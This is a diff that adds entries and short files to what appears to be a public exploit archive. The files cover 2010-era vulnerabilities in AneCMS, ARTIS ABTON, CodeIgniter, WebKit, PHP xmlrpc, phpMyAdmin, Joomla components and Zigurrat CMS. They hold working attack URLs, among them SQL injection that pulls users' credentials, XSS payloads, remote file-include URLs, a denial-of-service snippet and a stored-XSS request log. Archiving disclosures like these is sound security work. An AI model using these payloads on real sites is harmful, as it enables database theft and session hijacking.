diff --git a/files.csv b/files.csv index 42a70c032..2ae9fe6df 100755 --- a/files.csv +++ b/files.csv @@ -30398,3 +30398,13 @@ id,file,description,date,author,platform,type,port 33741,platforms/hardware/remote/33741.txt,"Yealink VoIP Phone SIP-T38G - Remote Command Execution",2014-06-13,Mr.Un1k0d3r,hardware,remote,0 33742,platforms/hardware/remote/33742.txt,"Yealink VoIP Phone SIP-T38G - Privileges Escalation",2014-06-13,Mr.Un1k0d3r,hardware,remote,0 33743,platforms/php/webapps/33743.py,"ZeroCMS 1.0 - zero_transact_user.php, Handling Privilege Escalation",2014-06-13,"Tiago Carvalho",php,webapps,0 +33748,platforms/php/webapps/33748.txt,"AneCMS 1.0 'index.php' Multiple HTML Injection Vulnerabilities",2010-03-11,"pratul agrawal",php,webapps,0 +33749,platforms/php/webapps/33749.txt,"ARTIS ABTON CMS Multiple SQL Injection Vulnerabilities",2010-03-11,MustLive,php,webapps,0 +33751,platforms/php/webapps/33751.txt,"CodeIgniter 1.0 'BASEPATH' Multiple Remote File Include Vulnerabilities",2010-03-11,eidelweiss,php,webapps,0 +33752,platforms/linux/remote/33752.html,"WebKit 1.2.x Right-to-Left Displayed Text Handling Memory Corruption Vulnerability",2010-03-11,wushi,linux,remote,0 +33753,platforms/php/webapps/33753.txt,"Easynet4u Forum Host 'topic.php' SQL Injection Vulnerability",2010-03-12,Pr0T3cT10n,php,webapps,0 +33754,platforms/php/webapps/33754.txt,"pMyAdmin 3.3.5.1 'db_create.php' Cross Site Scripting Vulnerability",2010-03-12,Liscker,php,webapps,0 +33755,platforms/php/dos/33755.php,"PHP <= 5.3.2 xmlrpc Extension Multiple Remote Denial of Service Vulnerabilities",2010-03-12,"Auke van Slooten",php,dos,0 +33756,platforms/php/webapps/33756.txt,"Joomla! 'com_seek' Component 'id' Parameter SQL Injection Vulnerability",2010-03-13,"DevilZ TM",php,webapps,0 +33757,platforms/php/webapps/33757.txt,"Joomla! 'com_d-greinar' Component 'maintree' Parameter Cross-Site Scripting Vulnerability",2010-03-13,"DevilZ TM",php,webapps,0 +33758,platforms/asp/webapps/33758.txt,"Zigurrat Farsi CMS 'manager/textbox.asp' SQL Injection Vulnerability",2010-03-15,Isfahan,asp,webapps,0 diff --git a/platforms/asp/webapps/33758.txt b/platforms/asp/webapps/33758.txt new file mode 100755 index 000000000..4aca5c52d --- /dev/null +++ b/platforms/asp/webapps/33758.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/38719/info + +Zigurrat Farsi CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/manager/textbox.asp?id=' \ No newline at end of file diff --git a/platforms/linux/remote/33752.html b/platforms/linux/remote/33752.html new file mode 100755 index 000000000..052087838 --- /dev/null +++ b/platforms/linux/remote/33752.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38689/info + +WebKit is prone to a remote memory-corruption vulnerability; fixes are available. + +Successful exploits may allow the attacker to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition. + +This issue was previously documented in BID 38671 (Apple Safari Prior to 4.0.5 Multiple Security Vulnerabilities) but has been given its own record to better document it. + + 1111 13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
\ No newline at end of file diff --git a/platforms/php/dos/33755.php b/platforms/php/dos/33755.php new file mode 100755 index 000000000..997588cac --- /dev/null +++ b/platforms/php/dos/33755.php @@ -0,0 +1,14 @@ +source: http://www.securityfocus.com/bid/38708/info + +PHP's xmlrpc extension library is prone to multiple denial-of-service vulnerabilities because it fails to properly handle crafted XML-RPC requests. + +Exploiting these issues allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable library. + +PHP 5.3.1 is vulnerable; other versions may also be affected. + + + + '; + $result = xmlrpc_decode_request( $req, $frop ); +?> diff --git a/platforms/php/webapps/33748.txt b/platforms/php/webapps/33748.txt new file mode 100755 index 000000000..b7d532347 --- /dev/null +++ b/platforms/php/webapps/33748.txt @@ -0,0 +1,273 @@ +source: http://www.securityfocus.com/bid/38657/info + +AneCMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. + +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +AneCMS 1.0 is vulnerable; other versions may also be affected. + + ======================================================================= + + ANE CMS 1 Persistent XSS Vulnerability + + ======================================================================= + + by + + Pratul Agrawal + + + + # Vulnerability found in- Admin module + + # email Pratulag@yahoo.com + + # company aksitservices + + # Credit by Pratul Agrawal + + # Software ANE CMS 1 + + # Category CMS / Portals + + # Plateform php + + + + # Proof of concept # + + Targeted URL: http://server/acp/index.php?p=cfg&m=links + + + In ADD LINKS Field provide the malicious script to store in the Database. + + That is- + + + + + +
+ + "> + + "> + + + + + +
+ + + + + + + + + ======================================================================= + Request - + ======================================================================= + POST /acp/index.php?p=cfg&m=links&id=0 HTTP/1.1 + Host: server + User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Keep-Alive: 300 + Proxy-Connection: keep-alive + Referer: http://server/acp/index.php?p=cfg&m=links + Cookie: PHPSESSID=200fecb6b36334b983ebe251d11a5df9 + Content-Type: application/x-www-form-urlencoded + Content-Length: 41 + + name=">&link=">&type=1&view=0 + + ======================================================================= + ======================================================================= + Response- + ======================================================================= + HTTP/1.1 200 OK + Date: Thu, 11 Mar 2010 06:59:03 GMT + Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g + Expires: Thu, 19 Nov 1981 08:52:00 GMT + Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 + Pragma: no-cache + Vary: Accept-Encoding + Content-Type: text/html; charset: utf-8 + Content-Length: 7771 + + + + + +Transdmin Light + + + + + + + + + + + + + +
+ +

Administration

+ + + + + +
+
+ + +

Configuration » Links

+ +

+ +
+ +

Aggiungi un nuovo Link

+

+

+

Barra Links Menu Links

+ +

+ +

+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameLinkOptions
Bar Links
Homeindex.phpModify Delete Move Down
BlogblogModify Delete Move up Move Down
RegistratiregisterModify Delete Move up Move Down
ACPacpModify Delete Move up Move Down
Widgetsindex.php?modifywidgetsModify Delete Move up Move Down
mastermaster.aspModify Delete Move up Move Down
">">Modify Delete Move up Move Down
Menu Links
homeindex.phpModify Delete Move up Move Down
BlogblogModify Delete Move up Move Down
+
+
+ + + + +
+
+ +
+ + + +
+ + + + + + + +======================================================================= + + + After completion Just Refres the page and the script get executed again and again. + + + #If you have any questions, comments, or concerns, feel free to contact me. diff --git a/platforms/php/webapps/33749.txt b/platforms/php/webapps/33749.txt new file mode 100755 index 000000000..e521b585d --- /dev/null +++ b/platforms/php/webapps/33749.txt @@ -0,0 +1,13 @@ +source: http://www.securityfocus.com/bid/38658/info + +ARTIS ABTON CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +The following example URIs are available: + +http://www.example.com/rus/details/â??+benchmark(10000,md5(now()))+â??/ + +http://www.example.com/rus/referaty/1'+benchmark(10000,md5(now()))-â??1/ + +http://www.example.com/rus/â??+benchmark(10000,md5(now()))+â??/ \ No newline at end of file diff --git a/platforms/php/webapps/33751.txt b/platforms/php/webapps/33751.txt new file mode 100755 index 000000000..686a68fcf --- /dev/null +++ b/platforms/php/webapps/33751.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/38672/info + +CodeIgniter is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. + +Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible. + +CodeIgniter 1.0 is vulnerable; other versions may also be affected. + +http://www.example.com/system/database/DB_active_rec.php?BASEPATH=[Shell.txt?] +http://www.example.com/system/database/DB_driver.php?BASEPATH=[Shell.txt?] \ No newline at end of file diff --git a/platforms/php/webapps/33753.txt b/platforms/php/webapps/33753.txt new file mode 100755 index 000000000..e71109f52 --- /dev/null +++ b/platforms/php/webapps/33753.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/38697/info + +Easynet4u Forum Host is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data. + +A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 \ No newline at end of file diff --git a/platforms/php/webapps/33754.txt b/platforms/php/webapps/33754.txt new file mode 100755 index 000000000..3474a2dfa --- /dev/null +++ b/platforms/php/webapps/33754.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/38707/info + +phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +phpMyAdmin 3.3.0 is vulnerable; other versions may also be affected. + +http://www.example.com/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation= \ No newline at end of file diff --git a/platforms/php/webapps/33756.txt b/platforms/php/webapps/33756.txt new file mode 100755 index 000000000..abf5958fd --- /dev/null +++ b/platforms/php/webapps/33756.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/38711/info + +The 'com_seek' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- \ No newline at end of file diff --git a/platforms/php/webapps/33757.txt b/platforms/php/webapps/33757.txt new file mode 100755 index 000000000..0d3ebe8b3 --- /dev/null +++ b/platforms/php/webapps/33757.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/38714/info + +The Joomla! 'com_d-greinar' component is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/index.php?option=com_d-greinar&Itemid=11&do=allar&maintree="> \ No newline at end of file